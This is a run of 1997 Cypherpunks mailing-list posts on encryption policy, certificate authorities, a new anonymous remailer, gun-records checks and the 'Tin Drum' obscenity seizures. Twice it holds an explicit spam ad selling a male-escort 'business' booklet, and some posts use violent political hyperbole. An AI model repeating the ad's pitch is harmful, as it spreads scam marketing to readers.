Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: 




I also applaud what my local Congresscritterwoman says, and especially her
quotation of the Dan Gillmor column from the local Silicon Valley
newspaper. I saw this colum several days ago and was impressed, especially
by the quote I include below.

At 11:33 PM -0700 6/26/97, geeman at best.com wrote:
>[Congressional Record: June 25, 1997 (Extensions)]
>[Page E1320]
>>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
...
>  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee
>reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which
...
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
....
>       Governments are certain that bad people will use encryption
>     to help achieve bad ends. They're right. But their cure would
>     shred our basic liberties.

This is the point I make to people who ask about the "bad" things crypto
will make possible. I say "Of course it will."

Then I go on to cite the same "bad" things that curtains on windows make
possible, that locks on doors make possible, that private hotel rooms make
possible, that whispers make possible, and that privacy in general makes
possible.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri Jun 27 10:04:33 1997
From: tcmay at got.net (Tim May)
Date: Sat, 28 Jun 1997 01:04:33 +0800
Subject: "Wired" is trademarking the future?
In-Reply-To: 
Message-ID: 



At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:

>journalists. "Today is the first day of the new
>American Revolution, the Digital Revolution.."
>(A phrase that happens to be trademarked by
>Wired, a sponsor of the rally.)

I really hope Declan is kidding when he says this phrase, or parts of it,
or some variant of it, is "trademarked" by "Wired." If so, we're in deep
shit.

(A phrase trademarked by the Nixon Administration, 1972.)

"Wired" seems increasingly to think it owns the birthright of the Net and
all that came from it.

I wonder if someone has claimed trademark on any of these expressions:

"Big Brother Inside"

"Four Horsemen of the Infocalypse"

"National borders are only speed bumps on the information superhighway"

"citizen-unit"

"BlackNet"

"crypto anarchy"


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From pooh at efga.org  Fri Jun 27 11:06:32 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sat, 28 Jun 1997 02:06:32 +0800
Subject: Secure Authentication
In-Reply-To: 
Message-ID: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>



-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia is forming a working group on Secure 
Authentication Methodologies.  This is the procedure for verifying who really 
owns the public key that has been placed in a database repository, or 
Certification Authority (CA).  Issues at question are not only the technical 
considerations, but also concerns of privacy, consumer protection, and 
legality.  Questions have arisen as to whether to use picture ID, notary 
publics, existing databases, and governments to enforce secure 
authentication.  Another question that has been raised is secure 
authentication possible at all?

Also explored will be hierarchical vs web of trust models for CA's.

The first working group meeting will be held at Georgia State University Law 
School at Professor Mark Budnitz offices.  Since many people who would like 
to be involved in this subject cannot attend physical meetings, this is a 
call to participate electronically.

If you have an interest in being involved with this group, please contact 
Robert Costner, EFGA (770) 512-8746, mailto:pooh at efga.org




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7P8+EGpGhRXg5NZAQHWJAH+PzVT10ZZCSxis1aMuyL3rEyTxuuVHo55
qrg3FuAseI4wkDKRmFuGB+lmvIibE2MD0+0sbcR2HUOW3KrmfX2aJw==
=Msjd
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From remailer at bureau42.ml.org  Fri Jun 27 12:13:45 1997
From: remailer at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Sat, 28 Jun 1997 03:13:45 +0800
Subject: No Subject
Message-ID: <199706271903.OAA09850@bureau42.ml.org>



(Special note: this new remailer is destination-blocked for the Cypherpunks
list, in all known incarnations.  It's noisy enough without this contribution
:) 

Bureau 42 Enterprises is proud to announce a new remailer!

remailer at bureau42.ml.org supports both Type-I and Mixmaster messages.

$remailer{"bureau42"} = "" cpunk pgp hash latent cut mix

Be aware: The remailer is running on the slow end of a UUCP link.
There _will_ be latency.  Lots of it.

Here's the keys.  People in charge, please add these to the relevant lists.

bureau42 remailer at bureau42.ml.org 684d5ea06f1d2a46c45e55eb9758cf61 2.0.3

-----Begin Mix Key-----
684d5ea06f1d2a46c45e55eb9758cf61
258
AAS8YXDO/ZtBIdeFfCbQBdXYJvzYXO1WkUgExMa+
brxMUiI6UC89ZF+zjSYbPsOHaSSD/ljIBde46Dg2
L076Klarxl28BP3VtIdHDfs64X+CfxulJjORWIhi
FTG3NWa7gIs2OADgcUSzy4/UGN0FqhsAT0skFWUw
DQ+SSfJbLrhz6QAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----

Here is the PGP Public Key for bureau42 Anonymous Remailer

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzNw0EkAAAEEAOdhlFnWook3MO3QoB2isVgJXMfauV2A5CKgfd09P7VGccP7
Z27HuI2LSMd23fcGe0uVLxYFMvOUCRgLoXYeqXLUEX6eHPIFtd7B3FkfR03Aj+GT
PfmTupqp4Wc5cODDuXOe6Y0x30QffuX3BjNfSvEa2iniLer5ac5Daand9AJhAAUR
tDZidXJlYXU0MiBBbm9ueW1vdXMgUmVtYWlsZXIgPHJlbWFpbGVyQGJ1cmVhdTQy
Lm1sLm9yZz6JAJUDBRAzcNC2zkNpqd30AmEBAQw4A/9OFw6t3x2BhDSNEBLD78rl
SfZsReDpF1yt0t+MQ0yNyaTciByDPtw+9tL9L+X9Gm0FAri6t+uelqaK4XR71POD
8VyCylWHkWHDfY8N53pJt8VV8LL4NcR3Go8tBVbo37BSuRDPbFyBAvy4EH3UbRI4
eYIKOcBsHlgSP2R7aFhCuw==
=sN96
-----END PGP PUBLIC KEY BLOCK-----










From declan at well.com  Fri Jun 27 12:21:14 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 28 Jun 1997 03:21:14 +0800
Subject: "Wired" is trademarking the future?
In-Reply-To: 
Message-ID: 



Noah's story about Wired trademarking Digital Revolution (tm) is at:

  http://pathfinder.com/netly/editorial/0,1012,192,00.html

	"  Have our friends at Wired gone mad? We always thought the
	Digital Revolution� was about freedom of information, erasing
	of boundaries, creating global community, throwing off the
	shackles of government and evoking a spirit of unfettered,
	bottom-up business and entrepreneurialism. Was this yet another
	case of lawyers running amok? Or was it pre- Initial Public
	Offering jitters on Wired's part?

-Declan


At 09:52 -0700 6/27/97, Tim May wrote:
>At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:
>
>>journalists. "Today is the first day of the new
>>American Revolution, the Digital Revolution.."
>>(A phrase that happens to be trademarked by
>>Wired, a sponsor of the rally.)
>
>I really hope Declan is kidding when he says this phrase, or parts of it,
>or some variant of it, is "trademarked" by "Wired." If so, we're in deep
>shit.
>
>(A phrase trademarked by the Nixon Administration, 1972.)
>
>"Wired" seems increasingly to think it owns the birthright of the Net and
>all that came from it.
>
>I wonder if someone has claimed trademark on any of these expressions:
>
>"Big Brother Inside"
>
>"Four Horsemen of the Infocalypse"
>
>"National borders are only speed bumps on the information superhighway"
>
>"citizen-unit"
>
>"BlackNet"
>
>"crypto anarchy"
>
>
>--Tim
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From billstewart at att.com  Fri Jun 27 12:45:20 1997
From: billstewart at att.com (Bill Stewart)
Date: Sat, 28 Jun 1997 03:45:20 +0800
Subject: Interesting Supreme Court decision on Brady Bill at http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
Message-ID: <33B4123C.41BB@att.com>



http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
A messy 5-4 decision, with two concurrences and three dissents.

Overturns the part of the Brady Bill that forces local officials
to perform some of the administrative functions.
Lots of complex commentary.






From Studio at 64.com  Sat Jun 28 04:03:53 1997
From: Studio at 64.com (Studio 64)
Date: Sat, 28 Jun 1997 04:03:53 -0700 (PDT)
Subject: Gentlemen, Over 18?  Read This...
Message-ID: <199706281026HAA45517@uss.net>



This is a one time only E-mail. Your name will be automatically deleted from our list after this message. If
you are not interested in this offer, Studio 64 apologizes for  this  inconvenience.
************************************************************************************

GENTLEMEN,
HOW  WOULD  YOU LIKE  TO  MAKE  MONEY  PROVIDING  INTIMATE  SERVICES   TO   HOT,
HORNY  WOMEN ?

More and more men are discovering that they can make $500 - $1000 weekly simply by giving lonely 
ladies the affection and companionship they so desperately desire. Do you like women ? Do you love sex ?
Have a few free hours a week to devote to your own business ? Could you use the extra cash ?

Part time or full time, at home or wherever, you can get started today with a few easy steps. Imagine your
own private business, where you yourself are your own best asset, minimal investment, great returns, plus
the undeniable pleasure of making love to dozens of lusty, horny women who want nothing more than to 
be pampered by an adoring stranger- no strings attached. Whether you like young, firm, fresh college girls 
or older sophisticated working women, petite or tall and leggy, or voluptuous, busty, full-lipped sex bombs, 
you can have them all or whichever ones please you - selecting specifically the ladies you'd like to see.

Wine them, dine them, entertain and bed them. Get paid to make love to as many hot blondes and sultry 
brunnettes, lonely housewives and succulent sweeties as you can handle. You don't need above average 
looks or a $100,000 car. All you need is the know how, a healthy sexual appetite and a willingness to get 
hot and heavy with a woman until she's satisfied.

WE'LL  SHOW  YOU  HOW !!

We'll  give you specific tips for starting and running your own successful, male escort business. We'll 
supply you with the same killer ads that top male escorts use to attract and seduce willing ladies. You'll 
learn secret techniques that will have women passing your name and number on to every hot girlfriend they 
know. You'll get advice on where to find hundreds of beautiful women near you and how to get all of them 
to pay you what you want and deserve. 

Have you been dreaming of a job like this ? Dreaming is good, but why not make your dreams a reality ? 
Can you think of a better, more satisfying way to spend your spare time?
************************************************************
Information like this is selling for as much as $39.95. Our regular price is $24.95. But as a special, limited 
promotion, our simple easy-to-use booklet is only $19.95. That's right. For only $19.95 you can get started 
today. 
 ************************************************************
Just imagine, you wake up saturday morning, cup of coffee in hand and bathrobe still on and already, there 
are a half - a - dozen calls for you from horny women wanting you to spend an hour or two with them. And 
you are free to see whichever ones you please, make love to them for as long as you like and best of all- 
leave their bedrooms with a pocketfull of crisp bills.

Order today and you'll not only receive our special " How To Get  Started As A Male Escort " booklet but 
you'll also receive one of our best selling companion booklets " How To Please A Woman In Bed " 
absolutely free. This super report includes advice on:  How to Master Forplay, Learning Masturbation for 
Men and for Women, Advanced Oral Techniques and How To Keep A Woman Cumming Back Time and 
Time Again.
 ************************************************************
This report is for adults only and contains explicit sexual acts.
************************************************************Think about it.
For the price of dinner you could get all the tools you need to get started today giving pleasure to beautiful 
ladies and getting paid for it. Gentlemen, there's no greater opportunity than the one offered here.  Hurry.
 This special promotion ends July 20th.

************************************************************
For the easiest way to order, hit your print button now.
************************************************************
Because this information is of an adult nature, you must be over 18 years of age to order. Please enclose 
with the following a  Check, Money Order or Cash in the amount of  $19.95.  Address to  Studio 64, 1163  
E. Ogden Ave, Suite 705-183,  Naperville,  Illinois,  60563.

( Please Print)

Name__________________________________________________
Address_____________________________City, State_____________
E-Mail Address (optional)___________________________________
I  am over 18 years of age (signature please)_______________
 
Please allow 2-3 weeks for delivery. Thank you.









From tcmay at got.net  Fri Jun 27 13:13:05 1997
From: tcmay at got.net (Tim May)
Date: Sat, 28 Jun 1997 04:13:05 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: 



At 12:19 PM -0700 6/27/97, Bill Stewart wrote:
>http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
>A messy 5-4 decision, with two concurrences and three dissents.
>
>Overturns the part of the Brady Bill that forces local officials
>to perform some of the administrative functions.
>Lots of complex commentary.

And Friends of Liberty (assuming that is not a trademarked property of
Wired �, Explorers � of the Digital Frontier � and Cyberspace �) should not
be supporting the National Rifle Association proposal, either.

One of the reasons I quit the NRA was there strong support, indeed, their
strong lobbying for, a "national on-line records check." The idea is that
if Joe Blow purchases a gun in Skokie, Illinois, the computerized national
data base would flag that he's some sort of criminal, whether major or
minor, in some other state.

This national data base would undoubtedly be cross-indexed by SS numbers,
aliases, etc.

Partial data bases like this already exist, of course, a la the NCIC. This
would take us further in the direction of a national dossier system.

And the "while you wait" system, which would lead to, "Sorry, sir, your
application to purchase a handgun has been declined" sorts of events, also
means that vastly more people will be making queries of this system.

My solution is simple: no checks whatsoever. If someone commits a crime,
lock him or her up or shoot them, or whatever. But once the penalty is
over, all normal rights return. The right to vote, the right to free
speech, the right to own weapons, etc.

(Somehow most people think it's OK that convicted felons lose their rights
to vote and to have guns. (Once they're released, of course.) Do they think
convicted felons no longer have religious freedom? Can no longer write as
they wish? Jeesh.)

The National Rifle Association has become a den of statist compromisers. It
should be added to any hit lists.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Fri Jun 27 13:32:45 1997
From: alano at teleport.com (Alan)
Date: Sat, 28 Jun 1997 04:32:45 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: 



On Fri, 27 Jun 1997, Tim May wrote:

> This national data base would undoubtedly be cross-indexed by SS numbers,
> aliases, etc.
> 
> Partial data bases like this already exist, of course, a la the NCIC. This
> would take us further in the direction of a national dossier system.
> 
> And the "while you wait" system, which would lead to, "Sorry, sir, your
> application to purchase a handgun has been declined" sorts of events, also
> means that vastly more people will be making queries of this system.

I expect it will be extended further on down the line.  "Hold on a for a
few minutes.  We seem to be having some problem with your records check."
Meanwhile, the local/state/federal/illuminati are on their way to
apprehend the miscreant.

> My solution is simple: no checks whatsoever.

I agree.  Guns should be paid for in cash.

> If someone commits a crime,
> lock him or her up or shoot them, or whatever. But once the penalty is
> over, all normal rights return. The right to vote, the right to free
> speech, the right to own weapons, etc.
> 
> (Somehow most people think it's OK that convicted felons lose their rights
> to vote and to have guns. (Once they're released, of course.) Do they think
> convicted felons no longer have religious freedom? Can no longer write as
> they wish? Jeesh.)

I find it interesting that they find the right to vote as dangerous as the
right to own a gun.  

"If owning a gun could change the system, it would be outlawed."

alano at teleport.com | "Those who are without history are doomed to retype it."






From ericm at lne.com  Fri Jun 27 13:42:58 1997
From: ericm at lne.com (Eric Murray)
Date: Sat, 28 Jun 1997 04:42:58 +0800
Subject: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <199706272026.NAA07580@slack.lne.com>



Robert A. Costner writes:
> Electronic Frontiers Georgia is forming a working group on Secure
> Authentication Methodologies.  This is the procedure for verifying who really
> owns the public key that has been placed in a database repository, or
> Certification Authority (CA).  Issues at question are not only the technical
> considerations, but also concerns of privacy, consumer protection, and
> legality.  Questions have arisen as to whether to use picture ID, notary
> publics, existing databases, and governments to enforce secure
> authentication.  Another question that has been raised is secure
> authentication possible at all?

And another question is should government be involved at all?
My answer to that is no, not for the setting of CA policy.

It should be up to the CA, as published in their policy, what
authentication if any they perform in order to issue a certificate.
There is a need for certificates that are closely tied to someone's True Name
and there is a need for certificates that do nothing except verify
that a given email address is unique in that CA's list.

I would oppose any laws that require a certain level of
"secure authentication" of CAs.  Especially since, as your question
hints, there IS no secure authentication available to all citizens-
drivers licenses and birth certificates and Social Security cards
are all readily forged.  All authentication is relative.

I would not be opposed to laws that penalized a CA for breaking
the terms of its published policy.  However I expect that existing
contract law would cover that, since the policy is essentially a
contract between the CA and the cert issuee.

The biggest problem with CAs and the law is legal liability.  The liability
of being a CA is currently unknown until there is case law on the topic.
I think that one way of looking at CA liability would be to consider it
to be similar to an insurance policy with a limited maximum liability.
A CA who issued low-assurance unique email address certificates might
limit its liability to $10, whereas a CA who issued a high-assurance
37-forms-of-ID-and-a-retina-scan True Name certificate might limit
its liability to $100M (or maybe unlimited).  These liability limits
would of course have to be stated in the CAs policy.

Being able to limit liability on their own would allow the market
to choose how much assurance a certificate for a given transaction needs.
For CAs, it would allow them to insure themselves.
It would be trivial to add an 'assurance' field to standard X.509
certificates so parties to a transaction wouldn't need to read
the CAs policy statement to learn how much a given certificate was 'worth', 
i.e. how far the CA is prepared to back it.


-- 
                   Eric Murray  ericm at lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From enoch at zipcon.net  Fri Jun 27 14:13:09 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 28 Jun 1997 05:13:09 +0800
Subject: "Tin Drum" Obscene in Oklahoma
Message-ID: <199706272105.OAA25497@zipcon.net>



It used to be that mainstream motion pictures were territory
child porn hysterics didn't go near, for fear of losing high
profile cases and creating case law detrimental to their cause.

Yet, as the creeping definition of child porn has moved to
include fully clothed children, and any simulated depiction of
the sexuality of minors, it was inevitable that the child porn
hysterics would finally feel powerful enough turn their crusade
towards award winning motion pictures containing ideas that Bible
thumpers and their ilk would rather not have available to the
masses.

It is therefore no huge surprise that an Ohlahoma Judge has ruled
that the Oscar-winning film "Tin Drum" is obscene, and contains
scenes that constitute child pornography.  Police have seized
videos of the movie from libraries and video stores, and have
gone to the homes of people who rented the film to seize the
tapes.

The Oklahoma ACLU director has called the action "Gestapo-type
tactics" and vows to fight the ruling in court.

Should be Mapplethorpe all over again.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From gbroiles at netbox.com  Fri Jun 27 14:21:39 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 28 Jun 1997 05:21:39 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: <3.0.2.32.19970627141340.0093ede0@mail.io.com>



At 01:07 PM 6/27/97 -0700, Tim May wrote:
[...]
>The National Rifle Association has become a den of statist compromisers. It
>should be added to any hit lists.

Is anyone aware of a pro-second amendment organization which doesn't spend
some of its money/energy on screwing up other important amendments? (The
fourth, fifth, sixth, and eighth are popular targets.) 

And, while I'm off topic, here's another data point re why paying cash and
keeping one's home address private is always a good policy:

(from  a few minutes ago)

>>>>
OKLAHOMA CITY (AP) -- Michael Camfield had not even finished watching the
movie he had rented, "The Tin Drum," when police knocked on his front door
and demanded that he give them the Academy Award-winning foreign film.
<<<<

>>>>
"I got the strong impression that verbal resistance on my part was futile
and they were going to get that tape one way or another and arrest me if
they had to," said Camfield, development director for the American Civil
Liberties Union in Oklahoma.
<<<<

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From Studio at 64.com  Sat Jun 28 05:42:22 1997
From: Studio at 64.com (Studio 64)
Date: Sat, 28 Jun 1997 05:42:22 -0700 (PDT)
Subject: Gentlemen, Over 18?  Read This...
Message-ID: <199706283861CAA8177@uss.net>



This is a one time only E-mail. Your name will be automatically deleted from our list after this message. If
you are not interested in this offer, Studio 64 apologizes for  this  inconvenience.
************************************************************************************

GENTLEMEN,
HOW  WOULD  YOU LIKE  TO  MAKE  MONEY  PROVIDING  INTIMATE  SERVICES   TO   HOT,
HORNY  WOMEN ?

More and more men are discovering that they can make $500 - $1000 weekly simply by giving lonely 
ladies the affection and companionship they so desperately desire. Do you like women ? Do you love sex ?
Have a few free hours a week to devote to your own business ? Could you use the extra cash ?

Part time or full time, at home or wherever, you can get started today with a few easy steps. Imagine your
own private business, where you yourself are your own best asset, minimal investment, great returns, plus
the undeniable pleasure of making love to dozens of lusty, horny women who want nothing more than to 
be pampered by an adoring stranger- no strings attached. Whether you like young, firm, fresh college girls 
or older sophisticated working women, petite or tall and leggy, or voluptuous, busty, full-lipped sex bombs, 
you can have them all or whichever ones please you - selecting specifically the ladies you'd like to see.

Wine them, dine them, entertain and bed them. Get paid to make love to as many hot blondes and sultry 
brunnettes, lonely housewives and succulent sweeties as you can handle. You don't need above average 
looks or a $100,000 car. All you need is the know how, a healthy sexual appetite and a willingness to get 
hot and heavy with a woman until she's satisfied.

WE'LL  SHOW  YOU  HOW !!

We'll  give you specific tips for starting and running your own successful, male escort business. We'll 
supply you with the same killer ads that top male escorts use to attract and seduce willing ladies. You'll 
learn secret techniques that will have women passing your name and number on to every hot girlfriend they 
know. You'll get advice on where to find hundreds of beautiful women near you and how to get all of them 
to pay you what you want and deserve. 

Have you been dreaming of a job like this ? Dreaming is good, but why not make your dreams a reality ? 
Can you think of a better, more satisfying way to spend your spare time?
************************************************************
Information like this is selling for as much as $39.95. Our regular price is $24.95. But as a special, limited 
promotion, our simple easy-to-use booklet is only $19.95. That's right. For only $19.95 you can get started 
today. 
 ************************************************************
Just imagine, you wake up saturday morning, cup of coffee in hand and bathrobe still on and already, there 
are a half - a - dozen calls for you from horny women wanting you to spend an hour or two with them. And 
you are free to see whichever ones you please, make love to them for as long as you like and best of all- 
leave their bedrooms with a pocketfull of crisp bills.

Order today and you'll not only receive our special " How To Get  Started As A Male Escort " booklet but 
you'll also receive one of our best selling companion booklets " How To Please A Woman In Bed " 
absolutely free. This super report includes advice on:  How to Master Forplay, Learning Masturbation for 
Men and for Women, Advanced Oral Techniques and How To Keep A Woman Cumming Back Time and 
Time Again.
 ************************************************************
This report is for adults only and contains explicit sexual acts.
************************************************************Think about it.
For the price of dinner you could get all the tools you need to get started today giving pleasure to beautiful 
ladies and getting paid for it. Gentlemen, there's no greater opportunity than the one offered here.  Hurry.
 This special promotion ends July 20th.

************************************************************
For the easiest way to order, hit your print button now.
************************************************************
Because this information is of an adult nature, you must be over 18 years of age to order. Please enclose 
with the following a  Check, Money Order or Cash in the amount of  $19.95.  Address to  Studio 64, 1163  
E. Ogden Ave, Suite 705-183,  Naperville,  Illinois,  60563.

( Please Print)

Name__________________________________________________
Address_____________________________City, State_____________
E-Mail Address (optional)___________________________________
I  am over 18 years of age (signature please)_______________
 
Please allow 2-3 weeks for delivery. Thank you.









From tcmay at got.net  Fri Jun 27 14:47:30 1997
From: tcmay at got.net (Tim May)
Date: Sat, 28 Jun 1997 05:47:30 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: 
Message-ID: 



At 2:13 PM -0700 6/27/97, Greg Broiles wrote:
>At 01:07 PM 6/27/97 -0700, Tim May wrote:
>[...]
>>The National Rifle Association has become a den of statist compromisers. It
>>should be added to any hit lists.
>
>Is anyone aware of a pro-second amendment organization which doesn't spend
>some of its money/energy on screwing up other important amendments? (The
>fourth, fifth, sixth, and eighth are popular targets.)

The Libertarian Party.

It has strongly supported the Second Amendment, and has not, so far as I
know, tried to screw up any other of the important amendments.

My problem with it is that it is a political organization, and the
newsletters and local chapters are focussed on "inside baseball" of various
elections. And the California State Convention I attended some years back
was about the most boring thing I've ever been to.

I suspect the Cato Insitute is also Pro-Second without screwing with any of
the other good amendments.

As Greg knows well, of course, the ACLU is to avoided at all costs.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shamrock at netcom.com  Fri Jun 27 15:33:48 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 28 Jun 1997 06:33:48 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: 



On Fri, 27 Jun 1997, Greg Broiles wrote:

> At 01:07 PM 6/27/97 -0700, Tim May wrote:
> [...]
> >The National Rifle Association has become a den of statist compromisers. It
> >should be added to any hit lists.
> 
> Is anyone aware of a pro-second amendment organization which doesn't spend
> some of its money/energy on screwing up other important amendments? (The
> fourth, fifth, sixth, and eighth are popular targets.) 

Take a look at "Jews for the Preservation of Firearms Ownership". You 
don't have to Jewish to join. JPFO is a no-compromise, 
every-household-an-assault-rifle type of organization.

Proud to be a member,
--Lucky






From tcmay at got.net  Fri Jun 27 16:29:49 1997
From: tcmay at got.net (Tim May)
Date: Sat, 28 Jun 1997 07:29:49 +0800
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
Message-ID: 



At 3:22 PM -0700 6/27/97, Lucky Green wrote:

>Take a look at "Jews for the Preservation of Firearms Ownership". You
>don't have to Jewish to join. JPFO is a no-compromise,
>every-household-an-assault-rifle type of organization.

This is outrageous.

Surely Jews count on government to defend them and protect them from
criminals. Why would Jews want guns when the government is there to protect
them?

Name a single government that has ever targetted Jews.


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Fri Jun 27 16:43:15 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 28 Jun 1997 07:43:15 +0800
Subject: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: 



> Robert A. Costner writes:
> > Electronic Frontiers Georgia is forming a working group on Secure
> > Authentication Methodologies.

Actually, the best signature law proposal I've seen comes from the, so help
me, Massachusetts.

It's a single sentence which says that there will be nothing Massachusetts
law which can be construed to preclude the use of a digital signature.

Double negatives aside, the above translates into legal digital signatures.
Period. No bullshit about "Certification" "Authorities", or what
constitutes a "legal" digital signature, or any other cruft. If you sign a
state, or other, document with a digital signature, then, if it can be
proven to be your signature, you signed it. Game over.

Even broken clocks are right twice a day, I guess. :-).

Now if we can get away from the whole idea of biometric signatures
altogether, that would be the next trick...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From declan at well.com  Fri Jun 27 18:02:43 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 28 Jun 1997 09:02:43 +0800
Subject: Netly interviews Donna Rice-Hughes and Sen. Coats staffer
Message-ID: 



[The day before the CDA decision came down, I interviewed David Crane from
Sen. "CDA II Real Soon Now" Coats' office and Noah interviewed Donna
Rice-Hughes. Recall Coats was the chief GOP sponsor of the original CDA.
Here are excerpts. --Declan]

***********

http://www.pathfinder.com/news/netdecency/rice.html

Interview with Donna Rice-Hughes, Enough is Enough

The Netly News
June 26, 1997

[...]

Q: WHY DO YOU SAY THERE IS SO MUCH MISUNDERSTANDING
ABOUT THE CDA IN THE INTERNET COMMUNITY?

I think there's been a lot of misinformation about
what this is all about and what the CDA would do if it
is upheld. I think there have been some scare tactics,
quite frankly, and that's why you have people
concerned about speech. This is an area that the
public hasn't had to understand the nuances of until
now.

You have a lot of people who have been using the
Internet for years for the contructive purposes for
which it was designed. Now it's becoming more
commercial and you have pedophiles, pornographers and
people who are just posting their private collections
of pornography and polluting it, exploiting that
technology. A few bad apples are spoiling it for
everyone else. If it wasn't for that then we wouldn't
be having this problem.

Long before any of this it would have been great if
the Internet community had said, "Hey, don't pollute
this technology," and had imposed their own controls.
But that didn't happen and it isn't happening.

***********

http://www.pathfinder.com/news/netdecency/crane.html

An Interview With David Crane, Legislative Assistant
to CDA Cosponsor Dan Coats

The Netly News
June 26, 1997

[...]

Q: WOULD YOU DO ANYTHING DIFFERENTLY? CHANGE THE
WORDING OF THE CDA?

I don't think so. One of the frustrations we
experienced has been the tremendous amount of debate
that has centered around the indecency standard -- and
